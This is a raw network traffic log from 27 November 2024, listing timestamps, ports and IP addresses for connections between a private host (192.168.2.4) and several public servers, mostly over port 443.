Nov 27, 2024 04:06:48.737812042 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737865925 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.743084908 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.743236065 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.743302107 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.766798973 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.814178944 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.815340042 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.864881039 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.877820969 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.877846003 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.878257990 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.878268957 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.878710032 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.879426003 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.879496098 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.879729986 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.881880045 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.881982088 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.888128996 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.888257980 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.888344049 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.911358118 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.911397934 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.911508083 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.912002087 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.912014008 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.914731979 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.914758921 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.927328110 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.928899050 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.928920984 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.928957939 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.983649015 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.091475010 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:49.091536999 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:49.091588974 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:49.182746887 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:49.182792902 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:49.182837009 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:49.186475039 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:49.186487913 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:49.205013037 CET	49740	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:06:49.205045938 CET	443	49740	142.250.181.68	192.168.2.4
Nov 27, 2024 04:06:49.343000889 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.343075037 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.343117952 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.343131065 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.343148947 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.343188047 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.343195915 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.351203918 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.351253033 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.351263046 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.351273060 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.351305962 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.359488010 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.397989988 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.398047924 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.398062944 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402786970 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402882099 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402918100 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402935028 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.402942896 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402965069 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.402980089 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.412921906 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:49.412965059 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:49.413022995 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:49.413280010 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:49.413290977 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:49.418873072 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.418903112 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.418920994 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.418936014 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.418975115 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.425606966 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.446891069 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.446945906 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.446959019 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.451395035 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.451406002 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.498583078 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.498595953 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.501585007 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.522675991 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.548194885 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.548264980 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.548274040 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.556660891 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.556708097 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.556715965 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.564974070 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.565023899 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.565031052 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.574445963 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.574507952 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.574517965 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.576061010 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.576076984 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.581934929 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.581988096 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.581995964 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.590204954 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.590248108 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.590255976 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.598691940 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.598747969 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.598756075 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.615353107 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.615405083 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.615416050 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.617158890 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.617212057 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.617240906 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623723030 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623789072 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.623795986 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623908043 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623935938 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623950005 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.623956919 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.623997927 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.632107973 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.632180929 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.632189989 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.632318020 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.640515089 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.640610933 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.640624046 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.640640020 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.640693903 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.640700102 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.649092913 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.649182081 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.649188042 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.657691956 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.657849073 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.657854080 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.671200037 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.671286106 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.671334982 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.671360970 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.671406031 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.671794891 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.671844959 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.671861887 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.677860022 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.677931070 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.677998066 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.678016901 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.678062916 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.684003115 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.684108973 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.684170961 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.745135069 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.746575117 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.746634960 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.746648073 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.756278992 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.756351948 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.756364107 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.761310101 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.761353016 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.761389017 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.761399984 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.761468887 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.766205072 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.770842075 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.770900965 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.770910025 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.775451899 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.775525093 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.775532007 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.780492067 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.780561924 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.780569077 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.784749031 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.784837961 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.784846067 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.794126987 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.794173002 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.794205904 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.794214964 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.794259071 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.798371077 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.802973032 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.803033113 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.803041935 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.806389093 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.806463003 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.806472063 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.806490898 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.806535006 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.809896946 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.813553095 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.813611031 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.813618898 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.817215919 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.817275047 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.817281961 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.821290970 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.821372986 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.821381092 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.823611975 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.823662043 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:49.823669910 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.823712111 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:49.823757887 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.030692101 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.063359976 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.063383102 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.086611032 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.086641073 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.102586031 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:50.102616072 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:50.102633953 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:50.102641106 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:50.327202082 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.327332973 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.389417887 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.389703989 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.389731884 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.390929937 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.391267061 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.391467094 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.391546011 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.435338020 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.447233915 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.447333097 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.447366953 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.447417021 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.447761059 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.447902918 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.456794977 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.457081079 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.457099915 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.458080053 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.458175898 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.459219933 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.459280014 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.459341049 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.503379107 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.506839991 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.506861925 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.554792881 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.567706108 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.567719936 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.701230049 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.701381922 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:50.821270943 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.821290970 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:50.902141094 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.902240992 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.902302027 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.903331041 CET	49763	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.903348923 CET	443	49763	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.911305904 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.911405087 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.911475897 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.911809921 CET	49769	443	192.168.2.4	76.223.60.10
Nov 27, 2024 04:06:50.911848068 CET	443	49769	76.223.60.10	192.168.2.4
Nov 27, 2024 04:06:50.961473942 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.961536884 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.961618900 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.961647034 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.962177038 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.962249994 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.962258101 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.963835955 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.963896990 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.964159966 CET	49762	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.964174032 CET	443	49762	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.966783047 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.966814995 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.966880083 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.967133045 CET	49770	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:50.967148066 CET	443	49770	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:50.980146885 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:50.980355978 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:50.980369091 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:50.981414080 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:50.981471062 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:50.981821060 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:50.981879950 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:50.981940031 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.024449110 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.024461031 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.044981003 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:51.045015097 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:51.045072079 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:51.045294046 CET	49771	443	192.168.2.4	13.248.176.92
Nov 27, 2024 04:06:51.045304060 CET	443	49771	13.248.176.92	192.168.2.4
Nov 27, 2024 04:06:51.072449923 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.232480049 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:51.232691050 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:51.352509022 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:51.352580070 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:51.617325068 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.662637949 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.664762974 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664773941 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664791107 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664800882 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664819002 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.664819002 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664835930 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.664869070 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.664896965 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.866336107 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.866349936 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.866370916 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.866404057 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.866413116 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.866430998 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.866451979 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.866472006 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.925061941 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.925087929 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.925137043 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.925144911 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:51.925178051 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:51.976212025 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:51.976573944 CET	49767	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:51.977868080 CET	3478	49768	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:51.978099108 CET	49768	3478	192.168.2.4	3.7.212.116
Nov 27, 2024 04:06:52.044543028 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.044569016 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.044631958 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.044642925 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.044672966 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.084532976 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.084558010 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.084604979 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.084633112 CET	443	49766	13.227.8.63	192.168.2.4
Nov 27, 2024 04:06:52.084647894 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.084799051 CET	49766	443	192.168.2.4	13.227.8.63
Nov 27, 2024 04:06:52.096451998 CET	3478	49767	3.7.212.116	192.168.2.4
Nov 27, 2024 04:06:52.097923040 CET	3478	49768	3.7.212.116	192.168.2.4
